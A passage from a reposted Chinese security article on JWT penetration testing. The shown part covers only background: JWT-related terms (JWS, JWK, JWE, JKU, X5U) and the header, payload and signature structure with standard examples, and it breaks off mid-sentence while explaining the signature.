admin 发表于 2024-3-1 19:49:25

干货 | JWT渗透姿势一篇通

<p align="left" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:10.5pt;text-align:left;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:16.5pt;">干货<span lang="EN-US"> | JWT</span>渗透姿势一篇通<span lang="EN-US"></span></span>
</p>
<p align="left" style="font-family:等线;font-size:10.5pt;line-height:15.0pt;margin:0cm;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:11.5pt;"><a href="javascript:void(0);"><span lang="EN-US"><span lang="EN-US">渗透安全团队</span></span></a></span><span lang="EN-US" style="font-family:宋体;font-size:1.0pt;">&nbsp;</span><span lang="EN-US" style="font-family:宋体;font-size:11.5pt;">2023-10-20 00:00</span><span lang="EN-US" style="font-family:宋体;font-size:1.0pt;">&nbsp;</span><span style="font-family:宋体;font-size:11.5pt;">湖北</span><span lang="EN-US" style="font-family:宋体;font-size:1.0pt;"></span>
</p>
<p align="left" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:left;text-justify:inter-ideograph;">
        <b><span style="background:white;color:#333333;font-family:宋体;font-size:15.0pt;letter-spacing:.55pt;">文章前言</span></b><span lang="EN-US" style="font-family:宋体;font-size:11.5pt;letter-spacing:1.5pt;"></span>
</p>
<p align="center" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:center;text-justify:inter-ideograph;">
        <span style="color:#222222;font-family:Microsoft YaHei UI,sans-serif;font-size:12.0pt;letter-spacing:.4pt;">由于微信公众号推送机制改变了,快来</span><b><span style="color:red;font-family:Microsoft YaHei UI,sans-serif;font-size:12.0pt;letter-spacing:.4pt;">星标</span></b><span style="color:#222222;font-family:Microsoft YaHei UI,sans-serif;font-size:12.0pt;letter-spacing:.4pt;">不再迷路,谢谢大家!<span lang="EN-US"><br />
<br />
</span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:center;text-justify:inter-ideograph;">
        <img width="465" height="216" src="http://cobjon.com/w/php/upload/202403/01/75bccb89.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;letter-spacing:.45pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">企业内部产品应用使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">作为用户的身份认证方式,在对应用评估时发现了新的关于</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的会话安全带来的安全问题,后期再整理时又加入了之前遗留的部分</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">安全问题,至此汇总成一篇完整的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">文章</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:15.0pt;letter-spacing:.55pt;">简单介绍</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:15.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT(JSON Web Token)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是一种用于身份认证和授权的开放标准,它通过在网络应用间传递被加密的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JSON</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">数据来安全地传输信息使得身份验证和授权变得更加简单和安全,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">对于渗透测试人员而言可能是一种非常吸引人的攻击途径,因为它们不仅是让你获得无限访问权限的关键而且还被视为隐藏了通往以下特权的途径,例如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">特权升级、信息泄露、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">SQLi</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">XSS</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">SSRF</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RCE</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">LFI</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">等</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:15.0pt;letter-spacing:.55pt;">基础概念</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:15.0pt;letter-spacing:.55pt;"></span></b>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWS</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signed JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,签名过的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的密钥,也就是我们常说的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">SECRET</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWE</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Encrypted JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">部分</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">payload</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">经过加密的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JKU</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JKU(JSON Web Key Set URL)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Header</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的一个字段,字段内容是一个</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">URI</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,该</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">URI</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用于指定用于验证令牌秘钥的服务器,该服务器用于回复</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X5U</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X5U</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Header</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的一个字段,指向一组</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X509</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">公共证书的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">URL</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,与</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JKU</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">功能类似</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X.509</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">标准:</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X.509</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">标准是密码学里公钥证书的格式标准,包括</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">TLS/SSL(WWW</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">万维网安全浏览的基石</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在内的众多</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Internet</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">协议都应用了</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X.509</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">证书)</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:15.0pt;letter-spacing:.55pt;">基本结构</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:15.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT(JSON Web Token)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的结构由三部分组成,分别是</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,下面是每一部分的详细介绍和示例:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;">Header</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">包含了</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">使用的算法和类型等元数据信息,通常使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JSON</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">对象表示并使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">编码,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中包含两个字段:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">alg</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">typ<br />
alg(algorithm)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:指定了使用的加密算法,常见的有</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HMAC</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">ECDSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">等算法</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
typ(type)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:指定了</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的类型,通常为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">下面是一个示例</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">{<br />
<span>&nbsp; </span>"alg": "HS256",<br />
<span>&nbsp; </span>"typ": "JWT"<br />
}</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">其中</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">alg</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">指定了使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HMAC-SHA256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">算法进行签名,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">typ</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">指定了</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的类型为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;">Payload</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">包含了</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的主要信息,通常使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JSON</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">对象表示并使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">编码,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中包含三个类型的字段:注册声明、公共声明和私有声明</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">公共声明</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(Public Claims)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:是自定义的字段,用于传递非敏感信息,例如</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用户</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">ID</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、角色等</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">私有声明</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(Private Claims)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:是自定义的字段,用于传递敏感信息,例如密码、信用卡号等</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">注册声明</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(Registered Claims)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:预定义的标准字段,包含了一些</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的元数据信息,例如</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">发行者、过期时间等</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">下面是一个示例</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">{<br />
<span>&nbsp; </span>"sub": "1234567890",<br />
<span>&nbsp; </span>"name": "John Doe",<br />
<span>&nbsp; </span>"iat": 1516239022<br />
}</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">其中</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">sub</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">表示主题,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">name</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">表示名称,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">iat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">表示</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的签发时间</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;">Signature</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是使用指定算法对</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行签名生成的,用于验证</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的完整性和真实性,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的生成方式通常是将</span><span lang="EN-US" style="color:#333333;font-family:Segoe 